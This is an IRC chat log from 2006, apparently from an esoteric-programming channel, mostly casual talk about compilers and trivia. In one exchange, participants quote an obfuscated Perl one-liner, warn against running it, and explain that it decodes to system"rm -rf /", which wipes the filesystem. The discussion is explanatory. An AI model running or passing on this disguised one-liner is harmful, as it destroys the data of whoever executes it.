00:48:08 -!- Arrogant has quit ("Leaving"). 00:56:05 -!- Arrogant has joined. 01:59:25 -!- Arrogant has quit ("Leaving"). 02:14:13 Developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers, developers? 02:18:46 Oh, it's bedtime. 02:19:06 -!- ihope has quit ("The wonderful thing about Tiggers..."). 02:53:23 -!- kipple has quit (Read error: 110 (Connection timed out)). 03:06:23 -!- jix has quit (Read error: 110 (Connection timed out)). 03:06:35 -!- jix has joined. 03:15:22 hmm, accurate: http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=2290 03:15:30 also: ... 03:15:57 Ye gods this is clever! perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 03:16:03 DO NOT RUN THAT!!!! 03:16:10 http://www.dlitz.net/stuff/malicious-perl-sig/ 03:23:40 ahh, perl 03:26:33 executable line-noise 03:28:32 it is very clever 03:29:20 I don't know perl, so I have no idea 03:29:32 have you read the URL? 03:29:40 yeah 03:30:16 well, the program starts with the equivalent of: false?asdfasdfasdf:morestuff 03:30:27 i.e. only moresutff gets executed. 03:30:32 I understood that part 03:31:00 Now, Larry Wall was not just a programmer, but a linguist too... 03:31:10 so he gave perl pronouns 03:31:21 the default pronoun for many things is called $_ 03:31:53 it is what allows perl to work like sed often, since $_ is implicit in many places 03:32:00 got that? ... 03:32:11 no 03:32:21 you know what sed is, right? 03:32:25 yeah 03:32:56 perl has some of the same stuff as that in it. 03:33:26 but perl justifies such things belonging in a real language by using $_ 03:33:26 ok 03:33:46 $_ is the variable that commands often work on if you specify no other variable 03:34:20 so, the first command is a substitution on $_, like sed's s///. 03:34:41 except, here the programmer chose to use ; instead of / 03:35:24 it replaces nothing ($_ is initially empty AFAICT) with =]=>%-{<-|}<&|`{ in $_ 03:35:50 which basically acts like $_ = '=]=>%-{<-|}<&|`{' 03:36:13 got that? 03:36:15 yeah 03:36:30 I think I understand it now 03:36:33 so, we have a string of precise garbage in $_ 03:36:53 now, the y command translates chars into other chars with a look-up table 03:37:14 he has used lots of ranges, to make the LHS shorter and the RHS letter-free 03:37:57 if you work out what the table is, you find it turns all the ASCII punctuation except ~ into (mostly) letters. 03:38:28 this turns the string of garbage in $_ into system"rm -rf /" 03:39:25 the final substitution turns nothing into $_ (don't quite understand that myself), and executes the result. 03:39:41 Tada! He demonstrates that perl is too powerful 03:39:44 heh 03:40:09 and that people should execute random code 03:40:16 :-) 03:40:47 s/should/shouldn't/ 03:47:05 * SimonRC goes 03:47:08 * SimonRC goes to bed 04:27:13 -!- wildhalcyon has joined. 05:49:22 -!- jix has quit ("This computer has gone to sleep"). 06:09:08 -!- wildhalcyon has quit ("Chatzilla 0.9.73 [Firefox 1.5.0.4/2006050817]"). 07:59:04 -!- bsmntbombdood has quit ("all your basment are belong to bsmntbombdood"). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 11:54:43 -!- kipple has joined. 13:10:36 * SimonRC eats breakfast 13:53:00 -!- kipple has quit (Read error: 104 (Connection reset by peer)). 14:15:45 -!- kipple has joined. 15:22:50 hmm. my new language has a feature I'm starting to think could be a problem: It is not possible to have code in the program that is not executed at least once. I.e. If is not possible 15:23:00 would that be a problem for turing completeness? 17:33:07 -!- ihope has joined. 17:33:14 BASIC and Haskell are opposites. 17:49:03 -!- tgwizard has joined. 17:50:07 kipple: I think that is not a problem 17:52:25 given cond = [expression giving 1 or 0], then you do tt twice, undo tt (2-i) times, do ff twice, undo ff (1+i) times. 17:52:45 the net result is: if c then tt else ff endif 17:53:02 ihope: well, duh 17:58:21 :-) 17:58:41 ye gods this compiler is crap so far... 17:59:10 " goto A_Start_exit; 17:59:11 A_Start_exit:" 17:59:41 also: 17:59:42 " goto A_Start_exit; 17:59:45 A_Start_exit:" 17:59:46 erm, oops 17:59:55 I meant: 17:59:56 " fp[-2] = (int)malloc(8); 17:59:56 fp[-1] = fp[-2]; 17:59:56 push(10); 17:59:57 push(fp[-1]);" 18:00:32 Note that fp points to the last value pushed at the strt of that snippet. 18:00:37 So Subtle Cough is useless... 18:00:42 ??? 18:00:45 That's nice :-) 18:01:22 Well, my job next academic year is to make it into an ptimising compiler 18:01:43 What's it compiling? 18:04:01 A java subset into C. 18:04:16 it assumes that sizeof(int)=8 18:04:20 oops 18:04:21 it assumes that sizeof(int)=4 18:05:06 waitamo... 18:05:41 is it traditional for the stack pointer to point at the top item of the stack or the place where the next item will be put? 18:11:49 Who uses pointers? :-P 18:16:28 OMFG! http://elitemrp.net/fark/2006/hdd/ 19:56:18 -!- GregorR has quit ("Leaving"). 20:52:34 -!- bsmntbombdood has joined. 21:01:15 -!- wildhalcyon has joined. 21:01:32 hey folks 21:01:45 HAI 21:02:12 whats up? 21:02:33 the sky, stupid :P 21:03:07 Only from the perspective of the ground, in reference to physical objects 21:03:14 Yeah, duh. Why don't you just LOOK up, you idiot? 21:04:06 Well, suppose you're at the International Space Station? 21:04:15 Up is like... some other direction 21:04:21 then there is no up. 21:07:36 There are two ups, but they're in opposite directions, so they cancel out. 21:07:45 no, there's no ups 21:08:12 up is a constantly changing dynamic quantity 21:08:25 no, it doesn't exist 21:08:59 but it does 21:09:07 define it 21:10:05 ... 21:10:07 I can't :-( 21:11:56 At a given point X, up is the opposite of the direction of the net gravity at X. 21:12:58 * X * 21:13:06 -!- jix has joined. 21:13:17 that would work 21:13:20 if * is a planet, where is up at point X 21:13:37 depends on where you currently are on the planet 21:14:00 for the most part, its going to be the normal vector to the surface of the planet at point x 21:14:03 If there is no net gravity at X, then the direction of the net gravity at X is undefined, making up at point X undefined. 21:35:02 That makes sense 22:02:05 Hmm. A Google search for "cow tipping" gives "Wikipedia: Cow Tipping", with a description of "Examines the evidence that cow tipping is an urban myth." Compare this to one of the results for "Phil Stocks": "Phil Stocks - Wikipedia, the free encyclopedia", with the description of "Phil Stocks then worked on the two RSL trials at 107.2 WIN FM, before becoming the drivetime presenter in 1999.... 22:02:06 ...In July 2001 Phil joined Wessex FM soon ..." 22:11:40 http://pastebin.com/715432 <- makes little sense 22:14:36 -!- jix has quit ("Bitte waehlen Sie eine Beerdigungnachricht"). 22:14:44 -!- wildhalcyon has quit ("Chatzilla 0.9.73 [Firefox 1.5.0.4/2006050817]"). 22:20:27 * bsmntbombdood doesn't get it 22:21:18 The pastebin thing, or the Google thing? 22:21:27 the pastebin 22:25:44 well, both 22:26:38 The pastebin is a snip of stuff copied from Mirek's Cellebration. 22:26:48 The Google thing is a proof that Google is magic. 22:28:38 Ah, but Yahoo provides "sublinks" for the Wikipedia article on cow tipping! 22:31:05 it's amazing that they get any work done at google. 22:34:43 Why? 22:34:53 "here, take this scooter and ride around all day." 22:35:16 Boosting worker morale can't be bad :-P 22:36:13 I saw some pictures of a google office, and they just had a WHOLE BOWL full of m&ms on the counter 22:37:29 Maybe that's just to lure workers in, and then they use them for slaves. 22:39:13 A WHOLE BOWL 22:40:37 just sitting there for anybody to eat 22:42:30 it's amazing 23:09:40 -!- Arrogant has joined. 23:39:23 -!- tgwizard has quit ("Leaving").